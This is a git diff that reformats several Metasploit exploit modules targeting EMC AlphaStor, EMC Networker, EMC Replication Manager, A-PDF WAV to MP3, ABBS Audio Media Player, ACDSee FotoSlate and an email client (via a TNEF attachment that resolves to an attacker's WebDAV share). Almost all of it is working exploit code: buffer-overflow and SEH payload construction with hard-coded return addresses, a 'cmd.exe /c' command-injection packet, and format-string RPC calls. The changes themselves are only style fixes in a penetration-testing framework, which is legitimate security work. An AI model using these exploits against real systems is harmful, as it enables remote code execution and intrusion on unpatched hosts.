+ [false, 'The extension used in the fake file name', 'jpg']), # # WebDAV options # - OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), - OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]), + OptPort.new('SRVPORT', [ true, "The daemon port to listen on (do not change)", 80 ]), + OptString.new('URIPATH', [ true, "The URI to use (do not change).", "/" ]), OptString.new('UNCHOST', [ false, "The host portion of the UNC path to provide to clients (ex: 1.2.3.4)." ]) - ]) + ] + ) deregister_options('SSL', 'SSLVersion') # Just for now end def on_request_uri(cli, request) - case request.method when 'OPTIONS' process_options(cli, request) @@ -90,17 +96,16 @@ def on_request_uri(cli, request) resp['Content-Type'] = 'text/html' cli.send_response(resp) end - end def process_get(cli, request) - myhost = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] webdav = "\\\\#{myhost}\\" if (request.uri =~ /\.exe$/i) print_status "Sending EXE payload" return if ((p = regenerate_payload(cli)) == nil) + data = generate_payload_exe({ :code => p.encoded }) send_response(cli, data, { 'Content-Type' => 'application/octet-stream' }) return @@ -120,10 +125,10 @@ def process_options(cli, request) print_status("Responding to WebDAV OPTIONS request") headers = { 'MS-Author-Via' => 'DAV', -# 'DASL' => '', -# 'DAV' => '1, 2', - 'Allow' => 'OPTIONS, GET, PROPFIND', - 'Public' => 'OPTIONS, GET, PROPFIND' + # 'DASL' => '', + # 'DAV' => '1, 2', + 'Allow' => 'OPTIONS, GET, PROPFIND', + 'Public' => 'OPTIONS, GET, PROPFIND' } resp = create_response(207, "Multi-Status") resp.body = "" @@ -139,8 +144,8 @@ def process_propfind(cli, request) print_status("Received WebDAV PROPFIND request from: #{path}") body = '' - my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] - my_uri = "http://#{my_host}/" + my_host = (datastore['SRVHOST'] == '0.0.0.0') ? Rex::Socket.source_address(cli.peerhost) : datastore['SRVHOST'] + my_uri = "http://#{my_host}/" if path =~ /\.exe$/i # Response for the DLL @@ -153,7 +158,7 @@ def process_propfind(cli, request) 2010-07-19T20:29:42Z -#{rand(0x100000)+128000} +#{rand(0x100000) + 128000} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T @@ -230,7 +235,6 @@ def process_propfind(cli, request) | - subdirectory = %Q| #{path}#{Rex::Text.rand_text_alpha(6)}/ @@ -265,7 +269,7 @@ def process_propfind(cli, request) 2010-07-19T20:29:42Z -#{rand(0x100000)+128000} +#{rand(0x100000) + 128000} Mon, 19 Jul 2010 20:29:42 GMT "#{"%.16x" % rand(0x100000000)}" T @@ -306,7 +310,6 @@ def process_propfind(cli, request) end def exploit - unc = nil if (datastore['UNCHOST']) unc = datastore['UNCHOST'].dup @@ -315,8 +318,8 @@ def exploit end @exploit_unc_host = unc - @exploit_unc = "\\\\#{unc}\\#{rand_text_alpha(rand(8)+4)}\\" - @exploit_exe = rand_text_alpha(rand(8)+4) + ".exe" + @exploit_unc = "\\\\#{unc}\\#{rand_text_alpha(rand(8) + 4)}\\" + @exploit_exe = rand_text_alpha(rand(8) + 4) + ".exe" if datastore['SRVPORT'].to_i != 80 || datastore['URIPATH'] != '/' fail_with(Failure::Unknown, 'Using WebDAV requires SRVPORT=80 and URIPATH=/') @@ -324,7 +327,7 @@ def exploit msg = Rex::MIME::Message.new msg.mime_defaults - msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32)+1) + msg.subject = datastore['SUBJECT'] || Rex::Text.rand_text_alpha(rand(32) + 1) msg.to = datastore['MAILTO'] msg.from = datastore['MAILFROM'] body = Rex::Text.encode_base64(create_tnef_exploit(), "\r\n") @@ -341,77 +344,77 @@ def exploit def create_tnef_exploit filename = Rex::Text.rand_text_alpha(8) << '.' << (datastore['EXTENSION'] || 'png') << "\x00" message_class = (datastore['MESSAGECLASS'] || 'IPM.Document.jpegfile') << "\x00" - pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8)+4)}/#{@exploit_exe}\x00" + pathname = "file://#{@exploit_unc_host}/#{rand_text_alpha(rand(8) + 4)}/#{@exploit_exe}\x00" print_status("Using UNC path: #{pathname}") # start of TNEF stream sploit = create_tnef_header # MAPI message properties - msgprops = "\x04\x00\x00\x00" # Count 4 + msgprops = "\x04\x00\x00\x00" # Count 4 msgprops << "\x0b\x00" # Type PT_BOOLEAN msgprops << "\x1b\x0e" # Name PR_HASATTACH - msgprops << "\x01\x00\x00\x00" # Value data 1 + msgprops << "\x01\x00\x00\x00" # Value data 1 msgprops << "\x1e\x00" # Type PT_STRING msgprops << "\x1a\x00" # Name PR_MESSAGE_CLASS - msgprops << "\x01\x00\x00\x00" # Count values 1 + msgprops << "\x01\x00\x00\x00" # Count values 1 msgprops << [message_class.length].pack("V") # Value length - msgprops << mapi_pad(message_class) # Value data + msgprops << mapi_pad(message_class) # Value data msgprops << "\x03\x00" # Type PT_INT msgprops << "\xfe\x0f" # Name PR_OBJECT_TYPE - msgprops << "\x05\x00\x00\x00" # Value data MAPI_MESSAGE (5) + msgprops << "\x05\x00\x00\x00" # Value data MAPI_MESSAGE (5) msgprops << "\x03\x00" # Type PT_INT msgprops << "\x07\x0e" # Name PR_MESSAGE_FLAGS - msgprops << "\x12\x00\x00\x00" # Value data 0x00000012 + msgprops << "\x12\x00\x00\x00" # Value data 0x00000012 # add properties to TNEF stream - sploit << "\x01" # Level type LVL_MESSAGE + sploit << "\x01" # Level type LVL_MESSAGE sploit << "\x03\x90" # Name attMAPIProps (0x9003) sploit << "\x06\x00" # Type atpByte (0x0006) - sploit << [msgprops.length].pack('V') # Len + sploit << [msgprops.length].pack('V') # Len sploit << msgprops sploit << tnef_checksum(msgprops) # start of TNEF attachment - sploit << "\x02" # Level type LVL_ATTACHMENT + sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x02\x90" # Name attAttachRenddata (0x9002) sploit << "\x06\x00" # Type atpByte (0x0006) - sploit << "\x0e\x00\x00\x00" # Len 0x0000000e + sploit << "\x0e\x00\x00\x00" # Len 0x0000000e sploit << "\x01\x00\xff\xff\xff\xff\x20\x00\x20\x00\x00\x00\x00\x00" - sploit << "\x3d\x04" # Checksum + sploit << "\x3d\x04" # Checksum # MAPI attachment properties - attprops = "\x04\x00\x00\x00" # Count 4 + attprops = "\x04\x00\x00\x00" # Count 4 attprops << "\x1e\x00" # Type PT_STRING attprops << "\x07\x37" # Name PR_ATTACH_LONG_FILENAME - attprops << "\x01\x00\x00\x00" # Count values 1 - attprops << [filename.length].pack('V') # Value length - attprops << mapi_pad(filename) # Value data + attprops << "\x01\x00\x00\x00" # Count values 1 + attprops << [filename.length].pack('V') # Value length + attprops << mapi_pad(filename) # Value data attprops << "\x1e\x00" # Type PT_STRING attprops << "\x0d\x37" # Name PR_ATTACH_LONG_PATHNAME - attprops << "\x01\x00\x00\x00" # Count values 1 - attprops << [pathname.length].pack('V') # Value length - attprops << mapi_pad(pathname) # Value data + attprops << "\x01\x00\x00\x00" # Count values 1 + attprops << [pathname.length].pack('V') # Value length + attprops << mapi_pad(pathname) # Value data attprops << "\x03\x00" # Type PT_INT attprops << "\x05\x37" # Name PR_ATTACH_METHOD - attprops << "\x03\x00\x00\x00" # Value data ATTACH_BY_REF_RESOLVE (3) + attprops << "\x03\x00\x00\x00" # Value data ATTACH_BY_REF_RESOLVE (3) attprops << "\x03\x00" # Type PT_INT attprops << "\xfe\x0f" # Name PR_OBJECT_TYPE - attprops << "\x07\x00\x00\x00" # Value data MAPI_ATTACH (7) + attprops << "\x07\x00\x00\x00" # Value data MAPI_ATTACH (7) # add properties to TNEF stream - sploit << "\x02" # Level type LVL_ATTACHMENT + sploit << "\x02" # Level type LVL_ATTACHMENT sploit << "\x05\x90" # Name attAttachment (0x800f) sploit << "\x06\x00" # Type atpByte (0x0006) - sploit << [attprops.length].pack('V') # Len + sploit << [attprops.length].pack('V') # Len sploit << attprops sploit << tnef_checksum(attprops) @@ -420,30 +423,30 @@ def create_tnef_exploit def create_tnef_header # TNEF Header - buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 - buf << "\x00\x00" # Key + buf = "\x78\x9f\x3e\x22" # Signature 0x223e9f78 + buf << "\x00\x00" # Key # TNEF Attributes - buf << "\x01" # Level type LVL_MESSAGE + buf << "\x01" # Level type LVL_MESSAGE buf << "\x06\x90" # Name attTnefVersion (0x9006) buf << "\x08\x00" # Type atpDword (0x0008) - buf << "\x04\x00\x00\x00" # Len 0x00000004 + buf << "\x04\x00\x00\x00" # Len 0x00000004 buf << "\x00\x00\x01\x00" - buf << "\x01\x00" # Checksum + buf << "\x01\x00" # Checksum - buf << "\x01" # Level type LVL_MESSAGE + buf << "\x01" # Level type LVL_MESSAGE buf << "\x07\x90" # Name attOemCodepage (0x9007) buf << "\x06\x00" # Type atpByte (0x0006) - buf << "\x08\x00\x00\x00" # Len 0x00000008 + buf << "\x08\x00\x00\x00" # Len 0x00000008 buf << "\xe4\x04\x00\x00\x00\x00\x00\x00" - buf << "\xe8\x00" # Checksum + buf << "\xe8\x00" # Checksum - buf << "\x01" # Level type LVL_MESSAGE + buf << "\x01" # Level type LVL_MESSAGE buf << "\x0d\x80" # Name attPriority (0x800d) buf << "\x04\x00" # Type atpShort (0x0004) - buf << "\x02\x00\x00\x00" # Len 0x00000002 + buf << "\x02\x00\x00\x00" # Len 0x00000002 buf << "\x02\x00" - buf << "\x02\x00" # Checksum + buf << "\x02\x00" # Checksum return buf end diff --git a/modules/exploits/windows/emc/alphastor_agent.rb b/modules/exploits/windows/emc/alphastor_agent.rb index f97be3260c156..9a1623b1b6121 100644 --- a/modules/exploits/windows/emc/alphastor_agent.rb +++ b/modules/exploits/windows/emc/alphastor_agent.rb @@ -9,39 +9,44 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Tcp def initialize(info = {}) - super(update_info(info, - 'Name' => 'EMC AlphaStor Agent Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'EMC AlphaStor Agent Buffer Overflow', + 'Description' => %q{ This module exploits a stack buffer overflow in EMC AlphaStor 3.1. - By sending a specially crafted message, an attacker may - be able to execute arbitrary code. - }, - 'Author' => 'MC', - 'License' => MSF_LICENSE, - 'References' => - [ + By sending a specially crafted message, an attacker may + be able to execute arbitrary code. + }, + 'Author' => 'MC', + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2008-2158' ], [ 'OSVDB', '45714' ], [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=702' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', # one-shot overwrite. }, - 'Payload' => - { - 'Space' => 750, + 'Payload' => { + 'Space' => 750, 'BadChars' => "\x00\x0a\x0d\x20", 'StackAdjustment' => -3500, }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'EMC AlphaStor 3.1', { 'Ret' => 0x65153fe0 } ], # dblib9.dll 9.0.1.1975 ], - 'Privileged' => true, - 'DisclosureDate' => '2008-05-27', - 'DefaultTarget' => 0)) + 'Privileged' => true, + 'DisclosureDate' => '2008-05-27', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options([Opt::RPORT(41025)]) end @@ -53,7 +58,7 @@ def exploit uno = [0x0000000b].pack('V') sock.put(uno) - dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00" + dos = rand_text_alpha_upper(3) + "@" + rand_text_alpha_upper(6) + "\x00" sock.put(dos) tres = [0x00000004].pack('V') @@ -65,7 +70,7 @@ def exploit cinco = [0x0000047c].pack('V') sock.put(cinco) - data = make_nops(827 - payload.encoded.length) + payload.encoded + data = make_nops(827 - payload.encoded.length) + payload.encoded data << make_nops(2) + Rex::Arch::X86.jmp_short(6) + [target.ret].pack('V') data << make_nops(8) + [0xe8, -750].pack('CV') + rand_text_alpha_upper(500) + "\x00" diff --git a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb index b114f002cd44b..b01de07df2373 100644 --- a/modules/exploits/windows/emc/alphastor_device_manager_exec.rb +++ b/modules/exploits/windows/emc/alphastor_device_manager_exec.rb @@ -10,47 +10,53 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::CmdStager def initialize(info = {}) - super(update_info(info, - 'Name' => 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection', - 'Description' => %q{ - This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75 - command, the process does not properly filter user supplied input allowing for arbitrary - command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116 - with Windows 2003 SP2 and Windows 2008 R2. - }, - 'Author' => - [ - 'Anyway ', # Vulnerability Discovery + super( + update_info( + info, + 'Name' => 'EMC AlphaStor Device Manager Opcode 0x75 Command Injection', + 'Description' => %q{ + This module exploits a flaw within the Device Manager (rrobtd.exe). When parsing the 0x75 + command, the process does not properly filter user supplied input allowing for arbitrary + command injection. This module has been tested successfully on EMC AlphaStor 4.0 build 116 + with Windows 2003 SP2 and Windows 2008 R2. + }, + 'Author' => [ + 'Anyway ', # Vulnerability Discovery 'Preston Thornburn ', # msf module 'Mohsan Farid ', # msf module 'Brent Morris ', # msf module 'juan vazquez' # convert aux module into exploit ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ ['CVE', '2013-0928'], ['ZDI', '13-033'] ], - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Space' => 2048, + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => { + 'Space' => 2048, 'DisableNops' => true }, - 'Targets' => - [ - [ 'EMC AlphaStor 4.0 < build 800 / Windows Universal', {} ] - ], - 'CmdStagerFlavor' => 'vbs', - 'DefaultTarget' => 0, - 'DisclosureDate' => '2013-01-18')) + 'Targets' => [ + [ 'EMC AlphaStor 4.0 < build 800 / Windows Universal', {} ] + ], + 'CmdStagerFlavor' => 'vbs', + 'DefaultTarget' => 0, + 'DisclosureDate' => '2013-01-18', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(3000) - ]) + ] + ) end def check @@ -69,7 +75,7 @@ def exploit def execute_command(cmd, opts) padding = rand_text_alpha_upper(489 - cmd.length) - packet = "\x75~ mminfo &cmd.exe /c #{cmd} & #{padding}"# #{padding}" + packet = "\x75~ mminfo &cmd.exe /c #{cmd} & #{padding}" # #{padding}" connect sock.put(packet) begin diff --git a/modules/exploits/windows/emc/networker_format_string.rb b/modules/exploits/windows/emc/networker_format_string.rb index ae7eebb8b1f1d..ec6348abae47e 100644 --- a/modules/exploits/windows/emc/networker_format_string.rb +++ b/modules/exploits/windows/emc/networker_format_string.rb @@ -9,52 +9,53 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::SunRPC def initialize(info = {}) - super(update_info(info, - 'Name' => 'EMC Networker Format String', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'EMC Networker Format String', + 'Description' => %q{ This module exploits a format string vulnerability in the lg_sprintf function - as implemented in liblocal.dll on EMC Networker products. This module exploits the - vulnerability by using a specially crafted RPC call to the program number 0x5F3DD, - version 0x02, and procedure 0x06. This module has been tested successfully on EMC - Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass). - }, - 'Author' => - [ + as implemented in liblocal.dll on EMC Networker products. This module exploits the + vulnerability by using a specially crafted RPC call to the program number 0x5F3DD, + version 0x02, and procedure 0x06. This module has been tested successfully on EMC + Networker 7.6 SP3 on Windows XP SP3 and Windows 2003 SP2 (DEP bypass). + }, + 'Author' => [ 'Aaron Portnoy', # Vulnerability Discovery and analysis 'Luigi Auriemma ', # Vulnerability Discovery and analysis 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2012-2288' ], [ 'OSVDB', '85116' ], [ 'BID', '55330' ], [ 'URL', 'http://aluigi.altervista.org/misc/aluigi0216_story.txt' ] ], - 'Platform' => [ 'win' ], - 'Payload' => - { + 'Platform' => [ 'win' ], + 'Payload' => { 'BadChars' => "\x00\x0d\x0a\x25\x2a", 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, - 'Targets' => - [ - ['EMC Networker 7.6 SP3 / Windows Universal', + 'Targets' => [ + [ + 'EMC Networker 7.6 SP3 / Windows Universal', { 'Ret' => 0x7c354dac, # ret from MSVCR71.dll 'Offset' => 156, 'DEP' => true } ], - ['EMC Networker 7.6 SP3 / Windows XP SP3', + [ + 'EMC Networker 7.6 SP3 / Windows XP SP3', { 'Ret' => 0x7c345c30, # push esp # ret from MSVCR71.dll 'Offset' => 156, 'DEP' => false } ], - ['EMC Networker 7.6 SP3 / Windows 2003 SP2', + [ + 'EMC Networker 7.6 SP3 / Windows 2003 SP2', { 'Ret' => 0x7c354dac, # ret from MSVCR71.dll 'Offset' => 156, @@ -62,14 +63,19 @@ def initialize(info = {}) } ] ], - 'DefaultTarget' => 0, - 'Privileged' => true, - 'DisclosureDate' => '2012-08-29')) - + 'DefaultTarget' => 0, + 'Privileged' => true, + 'DisclosureDate' => '2012-08-29', + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) end def exploit - begin sunrpc_create('tcp', 0x5F3DD, 2) @@ -111,7 +117,6 @@ def exploit xdr = Rex::Encoder::XDR.encode(0, 2, rand_text_alpha(10), Rex::Encoder::XDR.encode(fs, rand_text_alpha(10)), 2) sunrpc_call(6, xdr) sunrpc_destroy - rescue Rex::Proto::SunRPC::RPCTimeout print_error('RPCTimeout') rescue EOFError diff --git a/modules/exploits/windows/emc/replication_manager_exec.rb b/modules/exploits/windows/emc/replication_manager_exec.rb index 9ce09c77f4d5b..28a04ac0b7f24 100644 --- a/modules/exploits/windows/emc/replication_manager_exec.rb +++ b/modules/exploits/windows/emc/replication_manager_exec.rb @@ -10,61 +10,65 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::CmdStager def initialize(info = {}) - super(update_info(info, - 'Name' => 'EMC Replication Manager Command Execution', - 'Description' => %q{ - This module exploits a remote command-injection vulnerability in EMC Replication Manager - client (irccd.exe). By sending a specially crafted message invoking RunProgram function an - attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected - products are EMC Replication Manager < 5.3. This module has been successfully tested - against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft - Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested - against these products. - }, - 'Author' => - [ - 'Unknown', #Initial discovery - 'Davy Douhine' #MSF module + super( + update_info( + info, + 'Name' => 'EMC Replication Manager Command Execution', + 'Description' => %q{ + This module exploits a remote command-injection vulnerability in EMC Replication Manager + client (irccd.exe). By sending a specially crafted message invoking RunProgram function an + attacker may be able to execute arbitrary commands with SYSTEM privileges. Affected + products are EMC Replication Manager < 5.3. This module has been successfully tested + against EMC Replication Manager 5.2.1 on XP/W2003. EMC Networker Module for Microsoft + Applications 2.1 and 2.2 may be vulnerable too although this module have not been tested + against these products. + }, + 'Author' => [ + 'Unknown', # Initial discovery + 'Davy Douhine' # MSF module ], - 'License' => MSF_LICENSE, - 'References' => - [ + 'License' => MSF_LICENSE, + 'References' => [ [ 'CVE', '2011-0647' ], [ 'OSVDB', '70853' ], [ 'BID', '46235' ], [ 'URL', 'http://www.securityfocus.com/archive/1/516260' ], [ 'ZDI', '11-061' ] ], - 'DisclosureDate' => '2011-02-07', - 'Platform' => 'win', - 'Arch' => ARCH_X86, - 'Payload' => - { - 'Space' => 4096, + 'DisclosureDate' => '2011-02-07', + 'Platform' => 'win', + 'Arch' => ARCH_X86, + 'Payload' => { + 'Space' => 4096, 'DisableNops' => true }, - 'Targets' => - [ + 'Targets' => [ # Tested on Windows XP and Windows 2003 - [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', { } ] + [ 'EMC Replication Manager 5.2.1 / Windows Native Payload', {} ] ], - 'CmdStagerFlavor' => 'vbs', - 'DefaultOptions' => - { + 'CmdStagerFlavor' => 'vbs', + 'DefaultOptions' => { 'WfsDelay' => 5 }, - 'DefaultTarget' => 0, - 'Privileged' => true - )) + 'DefaultTarget' => 0, + 'Privileged' => true, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ Opt::RPORT(6542) - ]) + ] + ) end def exploit - execute_cmdstager({:linemax => 5000}) + execute_cmdstager({ :linemax => 5000 }) end def execute_command(cmd, opts) @@ -116,10 +120,9 @@ def execute_command(cmd, opts) sock.put(run_prog_packet) sock.get_once(-1, 1) - end_string = Rex::Text.rand_text_alpha(rand(10)+32) + end_string = Rex::Text.rand_text_alpha(rand(10) + 32) sock.put(end_string) sock.get_once(-1, 1) disconnect - end end diff --git a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb index f718e097d4261..34c64258d6ac2 100644 --- a/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb +++ b/modules/exploits/windows/fileformat/a_pdf_wav_to_mp3.rb @@ -10,61 +10,63 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'A-PDF WAV to MP3 v1.0.0 Buffer Overflow', + 'Description' => %q{ This module exploits a buffer overflow in A-PDF WAV to MP3 v1.0.0. When - the application is used to import a specially crafted m3u file, a buffer overflow occurs - allowing arbitrary code execution. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + the application is used to import a specially crafted m3u file, a buffer overflow occurs + allowing arbitrary code execution. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'd4rk-h4ck3r', # Original Exploit 'Dr_IDE', # SEH Exploit 'dookie' # MSF Module ], - 'References' => - [ + 'References' => [ [ 'OSVDB', '67241' ], [ 'EDB', '14676' ], [ 'EDB', '14681' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'seh', 'DisablePayloadHandler' => true }, - 'Payload' => - { - 'Space' => 600, + 'Payload' => { + 'Space' => 600, 'BadChars' => "\x00\x0a", 'StackAdjustment' => -3500 }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'Windows Universal', { 'Ret' => 0x0047265c, 'Offset' => 4132 } ], # p/p/r in wavtomp3.exe ], - 'Privileged' => false, - 'DisclosureDate' => '2010-08-17', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2010-08-17', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.wav']), - ]) - + ] + ) end def exploit - sploit = rand_text_alpha_upper(target['Offset']) sploit << generate_seh_payload(target.ret) print_status("Creating '#{datastore['FILENAME']}' file ...") file_create(sploit) - end end diff --git a/modules/exploits/windows/fileformat/abbs_amp_lst.rb b/modules/exploits/windows/fileformat/abbs_amp_lst.rb index 4cfbc735adae8..8c31996d90026 100644 --- a/modules/exploits/windows/fileformat/abbs_amp_lst.rb +++ b/modules/exploits/windows/fileformat/abbs_amp_lst.rb @@ -9,53 +9,58 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::FILEFORMAT def initialize(info = {}) - super(update_info(info, - 'Name' => 'ABBS Audio Media Player .LST Buffer Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'ABBS Audio Media Player .LST Buffer Overflow', + 'Description' => %q{ This module exploits a buffer overflow in ABBS Audio Media Player. The vulnerability - occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges - of the user running the application. This module has been tested successfully on - ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + occurs when adding a specially crafted .lst file, allowing arbitrary code execution with the privileges + of the user running the application. This module has been tested successfully on + ABBS Audio Media Player 3.1 over Windows XP SP3 and Windows 7 SP1. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Julian Ahrens', # Vulnerability discovery and PoC 'modpr0be ' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'OSVDB', '75096' ], [ 'EDB', '25204' ] ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', }, - 'Platform' => 'win', - 'Payload' => - { - 'BadChars' => "\x00\x0a\x0d", - 'DisableNops' => true, + 'Platform' => 'win', + 'Payload' => { + 'BadChars' => "\x00\x0a\x0d", + 'DisableNops' => true, }, - 'Targets' => - [ - [ 'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1', + 'Targets' => [ + [ + 'ABBS Audio Media Player 3.1 / Windows XP SP3 / Windows 7 SP1', { - 'Ret' => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe - 'Offset' => 4108, + 'Ret' => 0x00412c91, # add esp,14 # pop # pop # pop # ret from amp.exe + 'Offset' => 4108, } ] ], - 'Privileged' => false, - 'DisclosureDate' => '2013-06-30', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2013-06-30', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ OptString.new('FILENAME', [ false, 'The file name.', 'msf.lst']), - ]) - + ] + ) end def exploit diff --git a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb index 86d09dc22fcce..da0d0eeca6aaa 100644 --- a/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb +++ b/modules/exploits/windows/fileformat/acdsee_fotoslate_string.rb @@ -10,165 +10,168 @@ class MetasploitModule < Msf::Exploit::Remote include Msf::Exploit::Remote::Seh def initialize(info = {}) - super(update_info(info, - 'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow', - 'Description' => %q{ + super( + update_info( + info, + 'Name' => 'ACDSee FotoSlate PLP File id Parameter Overflow', + 'Description' => %q{ This module exploits a buffer overflow in ACDSee FotoSlate 4.0 Build 146 via - a specially crafted id parameter in a String element. When viewing a malicious - PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a - buffer and execute arbitrary code. This exploit has been tested on systems such as - Windows XP SP3, Windows Vista, and Windows 7. - }, - 'License' => MSF_LICENSE, - 'Author' => - [ + a specially crafted id parameter in a String element. When viewing a malicious + PLP file with the ACDSee FotoSlate product, a remote attacker could overflow a + buffer and execute arbitrary code. This exploit has been tested on systems such as + Windows XP SP3, Windows Vista, and Windows 7. + }, + 'License' => MSF_LICENSE, + 'Author' => [ 'Parvez Anwar', # Vulnerability discovery - 'juan vazquez' # Metasploit module + 'juan vazquez' # Metasploit module ], - 'References' => - [ + 'References' => [ [ 'CVE', '2011-2595' ], [ 'OSVDB', '75425' ], [ 'BID', '49558' ], ], - 'DefaultOptions' => - { + 'DefaultOptions' => { 'EXITFUNC' => 'process', 'DisablePayloadHandler' => true }, - 'Payload' => - { - #'Space' => 4000, + 'Payload' => { + # 'Space' => 4000, 'BadChars' => "\x00\x22" }, - 'Platform' => 'win', - 'Targets' => - [ + 'Platform' => 'win', + 'Targets' => [ [ 'ACDSee FotoSlate 4.0 Build 146', { - 'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll - 'Offset' => 1812, + 'Ret' => 0x263a5b57, # pop, pop, ret from ipwssl6.dll + 'Offset' => 1812, 'TotalLength' => 5000 } ], ], - 'Privileged' => false, - 'DisclosureDate' => '2011-09-12', - 'DefaultTarget' => 0)) + 'Privileged' => false, + 'DisclosureDate' => '2011-09-12', + 'DefaultTarget' => 0, + 'Notes' => { + 'Reliability' => UNKNOWN_RELIABILITY, + 'Stability' => UNKNOWN_STABILITY, + 'SideEffects' => UNKNOWN_SIDE_EFFECTS + } + ) + ) register_options( [ - OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']), - ]) + OptString.new('FILENAME', [ true, 'The file name.', 'msf.plp']), + ] + ) end def exploit - overflow = rand_text(target["Offset"]) overflow << generate_seh_record(target.ret) overflow << payload.encoded overflow << rand_text_alpha(target["TotalLength"] - overflow.length) - plp =<